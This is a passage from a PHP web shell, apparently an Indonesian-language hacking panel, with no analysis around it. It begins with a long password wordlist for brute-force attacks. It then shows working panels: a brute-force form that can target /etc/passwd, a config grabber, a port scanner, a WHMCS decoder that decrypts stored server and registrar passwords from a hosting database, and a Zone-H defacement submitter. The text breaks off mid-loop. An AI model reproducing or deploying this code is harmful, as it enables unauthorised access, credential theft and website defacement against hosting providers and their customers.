japan
jeff
jenny1
jessie
jethrotull
jkl123
joel
johan
johanna1
johnny
joker1
jordan23
judith
julia
jumanji
jussi
kangaroo
karen1
kathy
keepout
keith1
kenneth
kidder
kim
kimberly
king
kingdom
kirk
kitkat
kramer
kris
kristen
lambda
laura
laurie
law
lawrence
lawyer
legend
leon
liberty
light
lindsay
lindsey
lisa
liverpool
logical
lola
lonely
lorrie
louis
lovely
loveme
lucas
m
madonna
mail
major
malcolm
malibu
marathon
marcel
maria1
mariah
mariah1
marilyn
mariner
mario
mark1
marvin
maurice
max
maxine
maxwell
me
media
meggie
melanie
melissa
melody
merlot
mexico
michael1
michele
midnight
midway
mike1
miki
mine
miracle
misha
mishka
mmouse
molly1
monique
montreal
moocow
moon
moore
mopar
morris
mort
mortimer
mouse1
mulder
nautica
nellie
nermal
new
newton
nicarao
nick
nina
nirvana1
nissan
norman
notebook
ocean
olivier
ollie
olsen
opera
opus
oranges
oregon
orion
overkill
pacers
packer
panda
pandora
panther
passion
patricia
pearl
peewee
pencil
penny
people
percy
person
peter1
petey
picard
picasso
pierre
pinkfloyd
pit
plus
polar
polaris
police
polo
pookie1
poppy
power
predator
preston
primus
prometheus
public
q1w2e3
queen
queenie
quentin
radio
ralph
random
rangers
raptor
rastafarian
reality
redrum
remote
reptile
reynolds
rhonda
ricardo
ricardo1
ricky
river
roadrunner
rob
robinhood
robotech
rocknroll
rocky1
rodeo
rolex
ronald
rouge
roxy
roy
ruby
ruthie
sabrina
sakura
salasana
sally
sampson
samuel
sandra
santa
sapphire
scarecrow
scarlet
scorpio
scott1
scottie
scout
scruffy
scuba1
seattle
serena
sergey
shanti
shark
shogun
simon
singer
skibum
skull
skunk
skywalker
slacker
smashing
smiles
snowflake
snowski
snuffy
soccer1
soleil
sonny
sound
spanky
speedy
spider
spooky
stacey
star69
start
starter
steven1
sting1
stinky
strawberry
stuart
sugar
sunbird
sundance
superfly
suzanne
suzuki
swimmer
swimming
system
taffy
tarzan
tbird
teddy
teddybear
teflon
temporal
terminal
terry
the
theatre
thejudge
thunder
thursday
time
tinker
toby
today
tokyo
tootsie
tornado
tracy
tree
tricia
trident
trojan
trout
truman
trumpet
tucker
turtle
tyler
utopia
vader
val
valhalla
visa
voyager
warcraft
warlock
warren
water
wayne
wendy
williams
willy
win95
windsurf
winona
wolf
wolf1
woody
woofwoof
wrangler
wright
www
xcountry
xfiles
xxxxxx
y
yankees
yoda
yukon
yvonne
zebra
zenith
zigzag
zombie
zxc123
zxcvb
zzz
000000
007007
11111
11111111
1213
1214
1225
123321
1313
1316
1332
1412
1430
171717
1818
181818
1950
1952
1953
1955
1956
1960
1964
1975
1977
1991
1a2b3c
1chris
1kitty
1qw23e
2001
2020
2112
22
2200
2252
2kids
3010
3112
3141
333
3533
4055
4444
4788
4854
4runner
5050
5121
54321
55555
57chevy
6262
6301
6969
7777777
789456
7dwarfs
88888888
Abcdefg
Alexis
Alpha
Animals
Ariel
BOSS
Bailey
Bastard
Beavis
Bismillah
Bonzo
Booboo
Boston
Canucks
Cardinal
Carol
Celtics
ChangeMe
Charlie
Chris
Computer
Cougar
Creative
Curtis
Daniel
Darkman
Denise
Dragon
Eagles
Elizabeth
Esther
Figaro
Fishing
Fortune
Freddy
Front242
Gandalf
Geronimo
Gingers
Golden
Goober
Gretel
HARLEY
Hacker
Hammer
Harley
Heather
Henry
Hershey
Homer
Jackson
Janet
Jennifer
Jersey
Jessica
Joanna
Johnson
Jordan
KILLER
Katie
Kitten
Liberty
Lindsay
Lizard
Madeline
Margaret
Maxwell
Mellon
Merlot
Metallic
Michel1
Money
Monster
Montreal
Newton
Nicholas
Noriko
Paladin
Pamela
Password
Peaches
Peanuts
Peter
Phoenix
Piglet
Pookie
Princess
Purple
Rabbit
Raiders
Random
Rebecca
Robert
Russell
Sammy
Saturn
Service
Shadow
Sidekick
Skeeter
Smokey
Sparky
Speedy
Sterling
Steven
Summer
Sunshine
Superman
Sverige
Swoosh
Taylor
Theresa
Thomas
Thunder
Vernon
Victoria
Vincent
Waterloo
Webster
Willow
Winnie
Wolverine
Woodrow
World
aa
aaaa
aardvark
abbott
abcd123
abcde
accord
active
acura
adg
admin
admin1
adrock
aerobics
africa
agent
airborne
airwolf
aki123
alfaro
ali
alicia
alien
aliens
alina
aline
alison
allegro
allen
allstate
aloha
alpha1
altamira
althea
altima
altima1
amanda1
amazing
america
amour
anderson
andre
andrew!
andrew1
andromed
angels
angie1
ann
anne
anneli
annie
anything
apple1
apple2
applepie
april
aptiva
aqua
aquarius
ariane
ariel
arlene
arrow
artemis
asdf1234
asdf;lkj
asdfjkl
ashley1
ashraf
ashton
assmunch
asterix
attila
autumn
avatar
ayelet
aylmer
babes
bambi
baraka
barbie
barn
barney1
barnyard
barrett
bart
bartman
bball
beaches
beanie
beans
beasty
beauty
beavis1
bebe
becca
belgium
belize
belle
belmont
benji
benson
beowulf
bernardo
berry
beryl
best
beta
betacam
betsy
betty
bharat
bichon
bigal
bigboss
bigred
biker
bilbo
bills
billy1
bimmer
bioboy
biochem
birdie
birdy
birthday
biscuit
bitter
biz
blackjack
blah
blanche
blinds
blitz
blood
blowjob
blowme
blueeyes
bluejean
blues
boat
bogart
bogey
bogus
bombay
boobie
boots
bootsie
boulder
bourbon
boxer
boxers
bozo
brain
branch
brandi
brent
brewster
bridge
britain
broker
bronco
bronte
brooke
brother
bryan
bubble
bucks
buddha
budgie
buffett
bugs
bulls
burns
burton
butterfly
buzz
byron
c00per
calendar
calgary
calvin1
camay
camel
camille
campbell
camping
cancer
canela
cannon
car
carbon
carl
carnage
carolyn
carrot
cascade
cat
catfish
cathy
catwoman
cecile
celica
cement
cessna
chad
chainsaw
chameleon
chang
change
chantal
charger
chat
cherry
chess
chiara
chiefs
china
chinacat
chinook
chouette
chris123
christ1
christmas
christopher
chronos
chuck
cicero
cindy1
cinema
circuit
cirque
cirrus
civic
clapton
clarkson
class
claude
claudel
cleo
cliff
clock
clueless
cobain
cobra
cody
colette
college
color
colors
colt45
comet
concept
concorde
confused
cool
coolbean
cora
corky
cornflake
corvette
corwin
cosmo
country
courier
cows
crescent
cross
crowley
crusader
cthulhu
cuda
cunningham
cunt
cupcake
current
cutlass
cynthia
daedalus
dagger
dagger1
daily
dale
dammit
damogran
dana
dancer
daphne
darkstar
darren
darryl
darwin
data1
datatrain
daytek
dead
deborah
december
decker
deedee
deeznuts
def
delano
delete
demon
denise
denny
desert
deskjet
detroit
devil
devine
devon
dexter
dharma
dianne
diesel
dillweed
dim
dipper
director
disco
dixie
dixon
doc
dodgers
dogbert
doggy
doitnow
dollar
dolly
dominique
domino
dontknow
doogie
doors
dork
doudou
doug
downtown
dragon1
driver
dude
dudley
dutch
dutchess
dwight
eagle1
easter
eastern
edith
edmund
effie
eieio
eight
element
elina1
elissa
ella
ellen
elliot
elsie
empire
engage
enigma
enterprise
eric1
erin
ernie1
escort
escort1
estelle
eugene
evelyn
excel
explore
eyal
faculty
fairview
family1
fatboy
faust
felipe
fenris
ferguson
ferret
ferris
finance
fireball
first
fishes
fishhead
fishie
flanders
fleurs
flight
florida1
flowerpot
flute
fly
flyboy
flyer
forward
franka
freddie
frederic
free
freebird
freeman
frisco
fritz
froggie
froggies
frogs
front242
frontier
fucku
fugazi
funguy
funtime
future
fuzz
gabby
gaby
gaelic
gambler
games
gammaphi
garcia
garfunkel
garth
gary
gaston
gateway
gateway2
gator1
george1
georgia
german
germany1
getout
ggeorge
ghost
gibbons
gibson
gigi
gilgamesh
giselle
glider1
gmoney
goat
goblin
goblue
godiva
goethe
gofish
gollum
gone
good
gramps
grandma
gravis
gray
greed
greg
greg1
gremlin
greta
gretzky
grizzly
grumpy
guess
guido
guitar1
gumby
gustavo
h2opolo
haggis
haha
hailey
hal
halloween
hallowell
hamid
hamilton
hamlet
hank
hanna
hanson
happy123
happyday
hardcore
harley1
haro
harriet
harris
harvard
hawk
hawkeye1
health
health1
heart
heather1
heather2
hedgehog
heikki
helene
hello1
hello123
hello8
hellohello
help123
helper
hermes
heythere
highland
hilda
hillary
histoire
history
hitler
hobbes
holiday
holly
homerj
honda1
hongkong
hoosier
hootie
hope
horse
hosehead
hotrod
huang
hudson
hugh
hugo
hummer
huskies
hydrogen
i
ib6ub9
idiot
if6was9
iforget
ilmari
iloveu
impact
indonesia
ingvar
insight
instruct
integral
iomega
irina
iris
irmeli
isabelle
israel
italia
italy
izzy
j0ker
j1l2t3
jackie1
jacob
jakey
james1
jamesbond
jamie
jamjam
jan
jazz
jean
jedi
jeepster
jeffrey1
jennie
jenny
jensen
jer
jesse
jesse1
jester
jethro
jetta1
jimbob
jimi
jimmy
joanie
joanna
joelle
john316
jordie
jorge
josee
josh
journey
joy
joyce
jubilee
juhani
jules
julia2
julien
juliet
jumbo
jump
junebug
juniper
justdoit
justice4
kalamazo
kali
karin
karine
karma
kat
kate
katerina
katie
katie1
kayla
kcin
keeper
keller
kendall
kenny
kerala
kerrya
ketchup
khan
kids
kings
kissa2
kissme
kitten
kittycat
kiwi
kkkkkk
kleenex
kombat
kristi
kristine
lab1
labtec
laddie
ladybug
lamer
lance
laser
laserjet
lassie1
laurel
lawson
leader
leaf
leblanc
legal
leland
lemon
leo
lester
letter
letters
lev
lexus1
libra
life
lights
lima
lionel
lions
lissabon
little
liz
lizzy
logger
logos
loislane
loki
lolita
lonestar
longer
longhorn
looney
loren
lori
lorna
loser
lost
lotus
lou
lovers
loveyou
lucia
lucifer
lucky14
macha
macross
macse30
maddie
madmax
madoka
magic1
magnum
maiden
maine
makeitso
mallard
manageme
manson
manuel
marc
marcus
maria
marielle
marine
marino
marshall
mart
martha
math
matti1
mattingly
maxmax
meatloaf
mech
mechanic
medical
megan
meister
melina
memphis
mercer
merde
mermaid
merrill
miami
michal
michel
michigan
michou
mickel
mickey1
microsoft
midvale
mikael
milano
miles
millenium
million
minou
miranda
miriam
mission
mmmmmm
mobile
mobydick
modem
mojo
monkey1
monroe
montana
montana3
montrose
monty
moomoo
moonbeam
morecats
morpheus
motor
motorola
movies
mowgli
mozart
mulder1
munchkin
murray
muscle
mustang1
nadia
nadine
napoleon
nation
national
neil
neko
nesbit
nestle
neutrino
newaccount
newlife
newyork1
nexus6
nichole
nicklaus
nightshadow
nightwind
nike
nikita
nikki
nintendo
nisse
nokia
nomore
none1
nopass
normal
norton
notta1
nouveau
novell
noway
nugget
number9
numbers
nurse
nutmeg
oaxaca
obiwan
obsession
ohshit
oicu812
omega
openup
orchid
oreo
orlando
orville
otter
ozzy
paagal
packard
packers
packrat
paint
paloma
pam
pancake
panic
papa
paradigm
park
parola
parrot
partner
pascal
pass
patches
patriots
paula
pauline
pavel
payton
peach
peanuts
pedro1
peggy
pekka
perfect
performa
perry
peterk
peterpan
phialpha
philips
phillips
phishy
phone
piano1
pianoman
pianos
pierce
pigeon
pink
pioneer
pipeline
piper1
pirate
pisces
plato
play
playboy
pluto
poetic
poetry
pole
pontiac
pookey
pope
popeye
prayer
precious
prelude
premier
print
printing
prof
provider
puddin
pulsar
*****
pussy1
pyro
qqq111
quebec
qwer
qwert
qwerty12
qwertyui
r0ger
rabbit1
racer
racerx
rachelle
racoon
radar
rafiki
raleigh
ram
rambo
randy1
rasta1
ratio
ravens
redcloud
redfish
redman
redskins
redwing
redwood
reed
reggae
reggie
reliant
rene
renee
renegade
rescue
revolution
rex
reznor
rhino
rhjrjlbk
richard1
richards
richmond
riley
ripper
ripple
rita
robby
roberts
robocop
robotics
roche
rock
rocket1
rockie
rockon
roger1
rogers
roland
rommel
roni
rookie
rootbeer
rosie
rossigno
rufus
rugger
rush
rusty
ruthless
sabbath
sabina
safety
safety1
saigon
saint
samIam
samiam
sammie
sammy
samsam
sandi
sanjose
saphire
sarah1
saskia
sassy
satori
saturday
saturn5
schnapps
science
scooby
scoobydoo
scooter1
scorpion
scotch
scotty
scouts
scuba
search
secret3
seeker
seoul
september
server
services
seven7
***
sexy
shaggy
shanghai
shanny
shaolin
shasta
shayne
shazam
shelly
shelter
sherry
ship
shirley
shorty
shotgun
sidney
sigmachi
signal
signature
simba1
simsim
sinatra
sirius
skate
skip
skipper1
skydive
skyler
slayer
sleepy
slick
slider
slip
smegma
smile1
smiths
smitty
smoke
smurfy
snakes
snapper
snoop
snow
sober1
solomon
sonics
sony
sophia
space
sparks
spartan
spazz
sphynx
spike1
spock
sponge
spoon
spot
sprocket
spurs
squash
stan
starbuck
stargate
starlight
stars
steel
steph1
stephi
steve1
stevens
stewart
sting
stivers
stocks
stone
storage
stranger
strat
strato
stretch
strong
stud
student2
studio
stumpy
sucker
suckme
sue
sultan
summit
sunfire
sunset
super
superstar
surfing
susan1
susanna
sutton
suzy
swanson
sweden
sweetpea
sweety
swim
switzer
swordfish
system5
t-bone
tab
tabatha
tacobell
taiwan
talon
tamtam
tanner
tapani
targas
target
tarheel
tasha
tata
tattoo
tazdevil
tequila
terry1
test2
test3
tester
testi
testtest
texas
thankyou
theend
thelorax
thisisit
thompson
thorne
thrasher
tiger2
tightend
tika
tim
timber
timothy
tinkerbell
tnt
tom
tool
topcat
topher
toshiba
total
toto1
tototo
toucan
transfer
transit
transport
trapper
trash
travis
tre
treasure
trees
tricky
trish
triton
trombone
trophy
trouble
trucker
tucson
tula
turbo
turbo2
twins
tyler1
ultimate
unique
united
unity
unix
upsilon
ursula
user1
vacation
valley
vampire
vanessa
vedder
velo
venice
venus
vermont
vette
vicki
vicky
victor1
vikram
vincent1
violet
violin
virago
virgil
virginia
vision
visual
volcano
volley
voodoo
vortex
waiting
walden
waldo
walleye
wanker
warner
water1
wayne1
webmaster
webster
wedge
weezer
wendy1
western
whale1
whit
white
whitney
whocares
whoville
wibble
wildcat
will
william1
wilma
wind
window
winniethepooh
wolfgang
wolverine
wombat1
wonder
word
world
x-files
x-men
xanth
xxx123
xxxxxxxx
xyz
yamaha
yankee
yogibear
yolanda
yomama
yvette
zachary
zack
zebras
zepplin
zoltan
zoomer
zxc
zxcvbn
!@#$%^&
00000000
121212
1234qwer
123go
131313
13579
1701d
21122112
369
5555
80486
90210
911
99999999
@#$%^&
ABC123
Abcdef
Asdfgh
Casio
Changeme
FuckYou
Fuckyou
Gizmo
Hello
JSBach
Michel
NCC1701
PPP
Qwert
Qwerty
Windows
Zxcvb
Zxcvbnm
action
advil
allo
amelie
anaconda
angus
apollo13
artist
aspen
ass
asshole
ath
benoit
bernard
bernie
bigbird
bird
blizzard
bluesky
bonjour
booster
byteme
caesar
cardinal
carolina
cats
cedic
cesar
chandler
changeit
chapman
charlie1
chevy
chiquita
chocolat
christia
christoph
classroom
cloclo
coco
corrado
cougars
courtney
dasha
demo
dirk
dolphins
dominic
donkey
doom2
dusty
e
energy
fearless
fiction
forest
french1
fubar
gator
gilles
glenn
go
gocougs
good-luck
graymail
guinness
hilbert
hola
home
homebrew
hotdog
indian
jared
jimbo
jkm
johnson
jojo
josie
judy
koko
kristin
lloyd
lorraine
lulu
lynn
m1911a1
mac
macintosh
mailer
mars
maxime
memory
meow
mimi
mirror
nat
ne1410s
ne1469
ne14a69
nebraska
nemesis
network
newcourt
nigel
niki
nite
notused
oatmeal
patton
paul
pedro
planet
players
politics
pomme
portland
praise
property
protel
psalms
qwaszx
raiders
rambo1
rancid
ruth
sales
salut
scrooge
shawn
shelley
skidoo
softball
spain
speedo
sports
sss
ssssss
steele
steph
stephani
sunday
surf
sylvie
symbol
tiffany
tigre
toronto
trixie
undead
valentin
velvet
viking
walker
watson
young
zhongguo
myspace1
blink182
changeme
password
start
computer
internet
ihavenopass
godblessyou
administrator
goblue</textarea></strong></td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<strong>Type :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
    <span class="style2"><strong>Simple : </strong> </span>
	<strong>
	<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
    <font class="style2"><strong>/etc/passwd : </strong> </font>
	<strong>
	<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
	</strong>
	</span>
    </td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
    <td valign="top" bgcolor="#151515"  colspan="5"><strong><input class =\'inputzbut\' type="submit" value="start">
    </strong>
    </td>
    <tr>
</form> 
<tr>
    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
    				</tr>
<form method="POST" target="_blank">
	<strong>
<input name="mendapatkan" type="hidden" value="passwd">        				
    </strong>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
    <td valign="top" bgcolor="#151515"><strong><input class =\'inputz\' size="35" name="foldername" type="text"></strong></td>
	</strong>
    </td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><input class =\'inputzbut\' type="submit" value="GO">
    </strong>
    </td>
    <tr>
</form>   
<tr>
    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
    				</tr>
<form method="POST" target="_blank">
	<strong>
<input name="pass" type="hidden" value="password">        				
    </strong>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
    <td valign="top" bgcolor="#151515"><strong><input class =\'inputz\' size="35" name="url" type="text"></strong></td>
	</strong>
    </td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><input class =\'inputzbut\' type="submit" value="GO">
    </strong>
    </td>
    <tr>
</form>
<tr>
    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info 
	Security</strong></td>
    				</tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
	<strong>
<?php
$safe_mode = ini_get(\'safe_mode\');
if($safe_mode==\'1\')
{
echo \'ON\';
}else{
echo \'OFF\';
}

?>	
	</strong>	
	</td>
    				</tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
	<strong>
<form method="POST" target="_blank">
	<strong>
<input name="matikan" type="hidden" value="sekatan">        				
    </strong>

<?php
if(\'\'==($func=@ini_get(\'disable_functions\')))
{
echo "<font color=#00ff00>No Security for Function</font></b>";
}else{
echo \'<script>alert("Please see below and press >Please Click Here First!<");</script>\';
echo "<font color=red>$func</font></b>";
echo \'<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>\';
echo \'<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
    </strong>
    </td></tr>\';
}
?></strong></td></tr></table></table></table>
<?
}
/////////////////////////////////////////////////////////////////



/////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'port-sc\'))
    {
    ?>
    <form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
    <?php
    echo \'<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>\';
    $start = strip_tags($_POST[\'start\']);
    $end = strip_tags($_POST[\'end\']);
    $host = strip_tags($_POST[\'host\']);
    if(isset($_POST[\'host\']) && is_numeric($_POST[\'end\']) && is_numeric($_POST[\'start\'])){
    for($i = $start; $i<=$end; $i++){
    $fp = @fsockopen($host, $i, $errno, $errstr, 3);
    if($fp){
    echo \'Port \'.$i.\' is <font color=green>open</font><br>\';
    }
    flush();
    }
    }else{
    echo \'<table class=tabnet style="width:300px;padding:0 1px;">
   <input type="hidden" name="y" value="phptools">
   <tr><th colspan="5">Port Scanner</th></center></tr>
   <tr>
		<td>Host</td>
		<td><input type="text" class="inputz"  style="width:220px;color:#00ff00;" name="host" value="localhost"/></td>
   </tr>
   <tr>
		<td>Port start</td>
		<td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="start" value="0"/></td>
   </tr>
	<tr><td>Port end</td>
		<td><input type="text" class="inputz"  style="width:220px;color:#00ff00;" name="end" value="5000"/></td>
   </tr><td><input class="inputzbut" type="submit" style="color:#00ff00" value="Scan Ports" />
   </td></form></center></table>\';
    }
}
/////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'hash\'))
    {
$submit= $_POST[\'enter\'];
if (isset($submit)) {
$pass = $_POST[\'password\']; // password
$salt = \'}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN\'; // random string
$hash = md5($pass); // md5 hash #1
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo \'<form action="" method="post"><b><table class=tabnet>\';
echo \'<tr><th colspan="2">Password Hash</th></center></tr>\';
echo \'<tr><td><b>masukan kata yang ingin di encrypt:</b></td>\';
echo \'<td><input class="inputz" type="text" name="password" size="40" />\';
echo \'<input class="inputzbut" type="submit" name="enter" value="hash" />\';
echo \'</td></tr><br>\';
echo \'<tr><th colspan="2">Hasil Hash</th></center></tr>\';
echo \'<tr><td>Original Password</td><td><input class=inputz type=text size=50 value=\'.$pass.\'></td></tr><br><br>\';
echo \'<tr><td>MD5</td><td><input class=inputz type=text size=50 value=\'.$hash.\'></td></tr><br><br>\';
echo \'<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value=\'.$hash_md5.\'></td></tr><br><br>\';
echo \'<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value=\'.$hash_md5_double.\'></td></tr><br><br>\';
echo \'<tr><td>Sha1</td><td><input class=inputz type=text size=50 value=\'.$hash1.\'></td></tr><br><br>\';
echo \'<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value=\'.$hash1_sha1.\'></td></tr><br><br>\';
echo \'<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value=\'.$hash1_sha1_double.\'></td></tr><br><br></table>\'; 
}

/////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'whmcs\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=whmcs" method="post">

<?php

function decrypt ($string,$cc_encryption_hash)
{
    $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
    $hash_key = _hash ($key);
    $hash_length = strlen ($hash_key);
    $string = base64_decode ($string);
    $tmp_iv = substr ($string, 0, $hash_length);
    $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
    $iv = $out = \'\';
    $c = 0;
    while ($c < $hash_length)
    {
        $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
        ++$c;
    }
    $key = $iv;
    $c = 0;
    while ($c < strlen ($string))
    {
        if (($c != 0 AND $c % $hash_length == 0))
        {
            $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
        }
        $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
        ++$c;
    }
    return $out;
}

function _hash ($string)
{
    if (function_exists (\'sha1\'))
    {
        $hash = sha1 ($string);
    }
    else
    {
        $hash = md5 ($string);
    }
    $out = \'\';
    $c = 0;
    while ($c < strlen ($hash))
    {
        $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
        $c += 2;
    }
    return $out;
}

echo "
<br><center><font size=\'5\' color=\'#00ff00\'><b>-=[ WHMCS Decoder ]=-</b></font></center>
<center>
<br>

<FORM action=\'\'  method=\'post\'>
<input type=\'hidden\' name=\'form_action\' value=\'2\'>
<br>
<table class=tabnet style=width:320px;padding:0 1px;>
<tr><th colspan=2>WHMCS Decoder</th></tr> 
<tr><td>db_host </td><td><input type=\'text\' style=\'color:#00ff00;background-color:\' class=\'inputz\' size=\'38\' name=\'db_host\' value=\'localhost\'></td></tr>
<tr><td>db_username </td><td><input type=\'text\' style=\'color:#00ff00;background-color:\' class=\'inputz\' size=\'38\' name=\'db_username\' value=\'\'></td></tr>
<tr><td>db_password</td><td><input type=\'text\' style=\'color:#00ff00;background-color:\' class=\'inputz\' size=\'38\' name=\'db_password\' value=\'\'></td></tr>
<tr><td>db_name</td><td><input type=\'text\' style=\'color:#00ff00;background-color:\' class=\'inputz\' size=\'38\' name=\'db_name\' value=\'\'></td></tr>
<tr><td>cc_encryption_hash</td><td><input style=\'color:#00ff00;background-color:\' type=\'text\' class=\'inputz\' size=\'38\' name=\'cc_encryption_hash\' value=\'\'></td></tr>
<td>&nbsp;&nbsp;&nbsp;&nbsp;<INPUT class=\'inputzbut\' type=\'submit\' style=\'color:#00ff00;background-color:\'  value=\'Submit\' name=\'Submit\'></td>
</table>
</FORM>
</center>
";

 if($_POST[\'form_action\'] == 2 )
 {
 //include($file);
 $db_host=($_POST[\'db_host\']);
 $db_username=($_POST[\'db_username\']);
 $db_password=($_POST[\'db_password\']);
 $db_name=($_POST[\'db_name\']);
 $cc_encryption_hash=($_POST[\'cc_encryption_hash\']);



    $link=mysql_connect($db_host,$db_username,$db_password) ;
        mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v[\'ipaddress\'];
$username = $v[\'username\'];
$type = $v[\'type\'];
$active = $v[\'active\'];
$hostname = $v[\'hostname\'];
echo("<center><table border=\'1\'>");
$password = decrypt ($v[\'password\'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");

echo "</table><br><br></center>";
}

    $link=mysql_connect($db_host,$db_username,$db_password) ;
        mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border=\'1\'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar     = $v[\'registrar\'];
$setting = $v[\'setting\'];
$value = decrypt ($v[\'value\'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v[\'password\'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'zone\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=zone" method="post">

<br><br><center>
<!-- Zone-H -->
<form action="" method=\'POST\'><table><table class=\'tabnet\'><tr>
<td style=\'background-color:#0000;padding-left:10px;\'><tr><tr><th colspan="2"><h2>Zone-H Defacer</h2></th></tr></td></tr><tr><td height=\'45\' colspan=\'2\'><form method="post">
<input type="text" class="inputz" name="defacer" value="Nama Defacer" />
<select name="hackmode" class="inputz" >
<option >------------------------Pilih Salah Satu------------------------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select>

<select name="reason" class="inputz" >
<option >-------------Pilih Salah Satu---------------</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select>
<input type="hidden" name="action" value="zone">
<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>
<br /><input class=\'inputzbut\' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center><br><br>

<?php
echo \'<center>\';
	ob_start();
	$sub = get_loaded_extensions();
	if(!in_array("curl", $sub)){die(\'[-] Curl Is Not Supported !! \');}
	$hacker = $_POST[\'defacer\'];
	$method = $_POST[\'hackmode\'];
	$neden = $_POST[\'reason\'];
	$site = $_POST[\'domain\'];
	
	if (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}
	elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
	elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
	elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
	$i = 0;
	$sites = explode("
", $site);
	while($i < count($sites)) 
	{
